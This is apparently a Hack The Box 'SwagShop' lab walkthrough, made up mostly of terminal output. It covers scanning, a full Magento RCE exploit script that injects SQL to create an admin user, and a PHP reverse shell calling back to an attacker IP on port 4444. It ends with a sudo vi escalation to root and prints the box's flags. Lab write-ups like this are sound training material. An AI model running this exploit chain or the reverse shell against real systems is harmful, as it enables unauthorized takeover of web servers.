

```
root@kali:~/Masaüstü# nmap -sS -sV -p- -T4 10.10.10.140
```

```
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-14 21:02 +03
```

```
Nmap scan report for 10.10.10.140
```

```
Host is up (0.073s latency).
```

```
Not shown: 65533 closed ports
```

```
PORT      STATE SERVICE VERSION
```

```
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
```

```
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
```

```
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
root@kali:~/Masaüstü# gobuster -u http://10.10.10.140 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

```
=====
Gobuster v2.0.1                OJ Reeves (@TheColonial)
=====
[+] Mode           : dir
[+] Url/Domain     : http://10.10.10.140/
[+] Threads       : 10
[+] Wordlist        : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes   : 200,204,301,302,307,403
[+] Timeout        : 10s
=====
2019/05/14 21:06:01 Starting gobuster
=====
/media (Status: 301)
/includes (Status: 301)
/lib (Status: 301)
/app (Status: 301)
/js (Status: 301)
/shell (Status: 301)
/skin (Status: 301)
/var (Status: 301)
/errors (Status: 301)
/downloader (Status: 301)
```

```
root@kali:~/Masaüstü# searchsploit magento
```

Exploit Title	Path (/usr/share/exploitdb/)
Magento 1.2 - '/app/code/core/Mage/Admin/Model/Session.php?login['Username']' Cross-Site Script	exploits/php/webapps/32808.txt
Magento 1.2 - '/app/code/core/Mage/Adminhtml/controllers/IndexController.php?email' Cross-Site	exploits/php/webapps/32809.txt
Magento 1.2 - 'downloader/index.php' Cross-Site Scripting	exploits/php/webapps/32810.txt
Magento < 2.0.6 - Arbitrary Unserialize / Arbitrary Write File	exploits/php/webapps/39838.php
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution	exploits/php/webapps/37811.py
Magento Server MAGMI Plugin - Multiple Vulnerabilities	exploits/php/webapps/35996.txt
Magento Server MAGMI Plugin 0.7.17a - Remote File Inclusion	exploits/php/webapps/35052.txt
Magento eCommerce - Local File Disclosure	exploits/php/webapps/19793.txt
Magento eCommerce - Remote Code Execution	exploits/xml/webapps/37977.py
eBay Magento 1.9.2.1 - PHP FPM XML external Entity Injection	exploits/php/webapps/38573.txt
eBay Magento CE 1.9.2.1 - Unrestricted Cron Script (Code Execution / Denial of Service)	exploits/php/webapps/38651.txt

```

import requests
import base64
import sys

target = "http://10.10.10.140"

if not target.startswith("http"):
    target = "http://" + target

if target.endswith("/"):
    target = target[:-1]

target_url = target + "/index.php/admin/Cms_Wysiwyg/directive/index/"

q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`,
`lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES
('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username =
'{username}'),'Firstname');
"""

query = q.replace("\n", "").format(username="forme", password="forme")
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)

# e3tibG9jayB0eXB1PUFkbWluaHRtbc9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PwldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
r = requests.post(target_url,
    data={"__directive": "e3tibG9jayB0eXB1PUFkbWluaHRtbc9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PwldENzdkZpbGV9fQ",
        "filter": base64.b64encode(pfilter),
        "forwarded": 1})

if r.ok:
    print "WORKED"
    print "Check {0}/admin with creds forme:forme".format(target)
else:
    print "DID NOT WORK"

```

```
root@kali:~/Masaüstü# python 37977.py
```

```
WORKED
```

```
Check http://10.10.10.140/admin with creds forme:forme
```

Magentoconnect MANAGER

Log In

Please re-enter your Magento Administration Credentials.
Only administrators with full permissions will be able to log in.

Username:

Password:

Log In

Magentoconnect MANAGER

[Extensions](#)[Settings](#)[Return to Admin](#)[Log Out](#)

Settings

☒ Put store on the maintenance mode while installing/upgrading/backup creation☐ Create Backup Database

Install New Extensions

1 Search for modules via [Magento Connect](#).**2** Paste extension key to install:[Install](#)

Direct package file upload

1 Download or build package file.**2** Upload package file:[Browse...](#)

Magpleasure_Filesystem-1.0.0.tgz

[Upload](#)

Manage Existing Extensions

[Check for Upgrades](#)

Channel: Magento Community Edition

[Commit Changes](#)Clear all sessions after successful install or upgrade: ☐

Package Name	Installed	Actions	Summary
Cm_RedisSession	1.8.0.0 (stable)	▼	Redis session
Interface_Adminhtml_Default	1.9.0.0 (stable)	▼	Default interface for Adminhtml

[Commit Changes](#)

Channel: 623c28d635d8eee515317736f44c4281

[Commit Changes](#)Clear all sessions after successfull install or upgrade: ☐

Package Name

Installed

Actions

Summary

[Commit Changes](#)☒ Auto-scroll console contents

```
Package installed:
community Magpleasure_Filesystem 1.0.0

Cleaning cache
.
Cache cleaned successfully
```

Procedure completed. Please check the output frame for useful information and refresh the page to see changes.

[Refresh](#)

 Your web server is configured incorrectly. As a result, configuration files with sensitive information are accessible from the outside. Please

 **Latest Message:** Support for your free version of Magento ends in 2020. Sign up for your free site assessment now. [Read details](#)

 **One or more of the Indexes are not up to date:** Product Attributes, Product Prices, Catalog URL Rewrites, Product Flat Data, Category

My Account

Notifications

Tools

Web Services

Design

Import/Export

Manage Currency

Transactional Emails

Custom Variables

Filesystem

Permissions

Magento Connect

Cache Management

Index Management

Manage Stores

Order Statuses

Configuration

You have **2 critical** and 2 notice unread message(s). [Go to messages inbox](#)

log Search Index, Stock Status, Tag Aggregation Data. Click here to go to [Index Management](#)

File System

- app
- downloader
- errors
- includes
- js
- lib
- media
- pkginfo
- shell
- skin
- var
- .htaccess
- .htaccess.sample
- api.php
- cron.php
- cron.sh
- favicon.ico
- get.php**
- index.php
- index.php.sample
- install.php
- LICENSE.html
- LICENSE.txt
- LICENSE_AFL.txt
- mage
- php.ini.sample

*get.php

```
1 <?php
2 set_time_limit (0);
3 $VERSION = "1.0";
4 $ip = '10.10.13.182'; // CHANGE THIS
5 $port = 4444; // CHANGE THIS
6 $chunk_size = 1400;
7 $write_a = null;
8 $error_a = null;
9 $shell = 'uname -a; w; id; /bin/sh -i';
10 $daemon = 0;
11 $debug = 0;
12
13 //
14 // Daemonise ourself if possible to avoid zomb
15 //
16
17 // pcntl fork is hardly ever available, but will allow us to daemonise
18 // our php process and avoid zombies. Worth a try...
19 if (function_exists('pcntl_fork')) {
20     // Fork and have the parent process exit
21     $pid = pcntl_fork();
22
23     if ($pid == -1) {
24         printit("ERROR: Can't fork");
25         exit(1);
26     }
27 }
```

10.10.10.140/index.php/filesystem/adminhtml_filesystem/index/key/82c1b487ca7982f50c77838b39e5bac1/#

```
root@kali:~/Masaüstü# nc -nlvp 4444
```

```
listening on [any] 4444 ...
```

```
connect to [10.10.13.182] from (UNKNOWN) [10.10.10.140] 53500
```

```
Linux swagshop 4.4.0-146-generic #172-Ubuntu SMP Wed Apr 3 09:00:08 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
```

```
 05:05:55 up 4 min,  0 users,  load average: 0.31, 0.27, 0.12
```

```
USER      TTY      FROM          LOGIN@  IDLE   JCPU   PCPU WHAT
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
/bin/sh: 0: can't access tty; job control turned off
```

```
$ id
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
$ ls
```

```
bin
```

```
boot
```

```
dev
```

```
etc
```

```
home
```

```
initrd.img
```

```
initrd.img.old
```

```
lib
```

```
lib64
```

```
lost+found
```

```
media
```

```
mnt
```

```
opt
```

```
proc
```

```
root
```

```
run
```

```
sbin
```

```
snap
```

```
srv
```

```
sys
```

```
tmp
```

```
usr
```

```
var
```

```
vmlinuz
```

```
vmlinuz.old
```

```
$ cd home
```

```
$ ls
```

```
haris
```

```
$ cd haris
$ ls -la
total 36
drwxr-xr-x 3 haris haris 4096 May  8 09:21 .
drwxr-xr-x 3 root  root 4096 May  2 14:48 ..
-rw----- 1 haris haris   54 May  2 14:56 .Xauthority
lrwxrwxrwx 1 root  root    9 May  8 09:20 .bash_history -> /dev/null
-rw-r--r-- 1 haris haris  220 May  2 14:48 .bash_logout
-rw-r--r-- 1 haris haris 3771 May  2 14:48 .bashrc
drwx----- 2 haris haris 4096 May  2 14:49 .cache
-rw----- 1 root  root    1 May  8 09:20 .mysql_history
-rw-r--r-- 1 haris haris  655 May  2 14:48 .profile
-rw-r--r-- 1 haris haris    0 May  2 14:49 .sudo_as_admin_successful
-rw-r--r-- 1 haris haris   33 May  8 09:01 user.txt
$ cat user.txt
a448877277e82f05e5ddf9f90aefbac8
```

```
$ sudo -l
Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*
```

```
:sh
```

```
sudo vi /var/www/html/index.html
```

```
·sh
```

```
cat /root/root.txt
```

```
c2b087d66e14a652a3b86a130ac56721
```

```
  / |  | / | \ | \
 / _ | ' | . | _ \
 |   |   |   |
 |   |   |   |
 |   |   |   |
 |   |   |   |
```

We are open! (Almost)

Join the beta HTB Swag Store!
<https://hackthebox.store/password>

PS: Use root flag as password!